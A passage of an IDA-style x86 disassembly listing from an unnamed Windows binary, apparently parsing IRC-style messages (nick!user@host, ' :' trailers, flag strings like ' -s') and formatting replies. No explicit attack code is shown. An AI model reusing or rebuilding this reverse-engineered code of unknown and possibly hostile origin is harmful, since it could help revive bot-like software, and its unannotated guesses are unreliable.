		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410662:				; CODE XREF: sub_410030+4FFj
		call	sub_401226


loc_410667:				; CODE XREF: sub_410030+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_4113F7
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	ecx, dword_4490C4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_4106A0:				; CODE XREF: sub_410030+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F8
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410722
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490FC
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410727


loc_410722:				; CODE XREF: sub_410030+69Bj
		mov	[esp+20h+var_D], 1


loc_410727:				; CODE XREF: sub_410030+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410794
		cmp	[ebp+16h], bl
		jnz	short loc_410770
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h


loc_410770:				; CODE XREF: sub_410030+713j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490CC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410794:				; CODE XREF: sub_410030+70Ej
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D4
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	short loc_410845
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41082D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015E1


loc_41082D:				; CODE XREF: sub_410030+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410845:				; CODE XREF: sub_410030+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410880
		mov	al, byte_449804
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410884


loc_410880:				; CODE XREF: sub_410030+840j
		mov	[esp+20h+var_D], bl


loc_410884:				; CODE XREF: sub_410030+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410B91
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_4108E2
		mov	ecx, eax
		call	sub_402072


loc_4108E2:				; CODE XREF: sub_410030+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41090E
		mov	ecx, eax
		call	sub_4010BE


loc_41090E:				; CODE XREF: sub_410030+8D5j
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401AAF
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410B7C


loc_41096F:				; CODE XREF: sub_410030+B46j
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410997
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410999
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_410030+95Aj
		xor	esi, esi


loc_410999:				; CODE XREF: sub_410030+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4109CB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4109CF
; ---------------------------------------------------------------------------


loc_4109CB:				; CODE XREF: sub_410030+98Cj
		mov	[esp+20h+var_C], ebx


loc_4109CF:				; CODE XREF: sub_410030+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4109F2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_4109F8
; ---------------------------------------------------------------------------


loc_4109F2:				; CODE XREF: sub_410030+9B7j
		mov	[esi+93h], bl


loc_4109F8:				; CODE XREF: sub_410030+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A13
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410A19
; ---------------------------------------------------------------------------


loc_410A13:				; CODE XREF: sub_410030+9D8j
		mov	[esi+94h], bl


loc_410A19:				; CODE XREF: sub_410030+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A34
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410A3A
; ---------------------------------------------------------------------------


loc_410A34:				; CODE XREF: sub_410030+9F9j
		mov	[esi+95h], bl


loc_410A3A:				; CODE XREF: sub_410030+A02j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_448F30
		lea	ecx, [esi+54h]
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esi+3Fh]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410B29
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410B29:				; CODE XREF: sub_410030+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013DE
		inc	edi
		push	offset asc_4445EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41096F


loc_410B7C:				; CODE XREF: sub_410030+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410B91:				; CODE XREF: sub_410030+86Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490C8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410EAB
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410C0B
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410C0D
; ---------------------------------------------------------------------------


loc_410C0B:				; CODE XREF: sub_410030+BCEj
		xor	esi, esi


loc_410C0D:				; CODE XREF: sub_410030+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410C3C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410C3E
; ---------------------------------------------------------------------------


loc_410C3C:				; CODE XREF: sub_410030+BFFj
		xor	edi, edi


loc_410C3E:				; CODE XREF: sub_410030+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C60
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410C66
; ---------------------------------------------------------------------------


loc_410C60:				; CODE XREF: sub_410030+C25j
		mov	[esi+95h], bl


loc_410C66:				; CODE XREF: sub_410030+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C81
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410C87
; ---------------------------------------------------------------------------


loc_410C81:				; CODE XREF: sub_410030+C46j
		mov	[esi+93h], bl


loc_410C87:				; CODE XREF: sub_410030+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410CA2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410CA8
; ---------------------------------------------------------------------------


loc_410CA2:				; CODE XREF: sub_410030+C67j
		mov	[esi+94h], bl


loc_410CA8:				; CODE XREF: sub_410030+C70j
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C58 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FDC
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410E7D
		add	eax, 2
		push	eax
		jmp	short loc_410E82
; ---------------------------------------------------------------------------


loc_410E7D:				; CODE XREF: sub_410030+E45j
		push	offset byte_448F30


loc_410E82:				; CODE XREF: sub_410030+E4Bj
		mov	ecx, esi
		call	sub_4015E1
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410E9F
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410E9F:				; CODE XREF: sub_410030+E64j
		mov	ecx, edi
		call	sub_4013DE
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410EAB:				; CODE XREF: sub_410030+BADj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490EC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411080
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	edx
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410F72
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	eax
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40212B


loc_410F72:				; CODE XREF: sub_410030+EF3j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_4E8E45
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C64 ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401870
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4493ED
		mov	[ebp+16h], bl
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411080:				; CODE XREF: sub_410030+EC7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411238
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C58 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401870
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		mov	esi, dword_511B04
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411223
		push	offset asc_444C54 ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_4111EB
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FDC


loc_4111EB:				; CODE XREF: sub_410030+11A9j
		push	offset byte_4E8E45
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41120F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E8E45
		push	edx
		call	sub_401FDC


loc_41120F:				; CODE XREF: sub_410030+1173j
					; sub_410030+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411223:				; CODE XREF: sub_410030+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411238:				; CODE XREF: sub_410030+109Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F0
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4112BF
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449100
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4112C4


loc_4112BF:				; CODE XREF: sub_410030+1238j
		mov	[esp+20h+var_D], 1


loc_4112C4:				; CODE XREF: sub_410030+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		push	offset asc_444C64 ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_444C58 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40212B
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_4113F7
; ---------------------------------------------------------------------------


loc_4113F0:				; CODE XREF: sub_410030+391j
		mov	ecx, ebp
		call	sub_401D20


loc_4113F7:				; CODE XREF: sub_410030+1D3j
					; sub_410030+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_410072


loc_411400:				; CODE XREF: sub_410030+3Cj
					; sub_410030+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_410030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411930	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402072
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411930	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4119B0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016F4j
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4119C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4119C8:				; CODE XREF: ___:004119BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4119E0	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4119E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F038
		lea	ecx, [esi+15h]
